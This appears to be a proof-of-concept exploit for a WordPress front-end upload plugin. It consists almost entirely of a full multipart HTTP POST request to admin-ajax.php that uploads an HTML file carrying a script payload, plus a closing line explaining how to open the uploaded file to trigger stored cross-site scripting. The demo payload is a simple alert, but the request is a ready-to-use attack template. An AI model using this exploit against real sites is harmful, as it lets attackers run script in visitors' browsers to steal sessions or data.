POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"

1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"

test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"

test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html

<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"

upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"

image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"

021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"

/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"

92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"

1247
-----------------------------124662954015823207281179831654--


Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html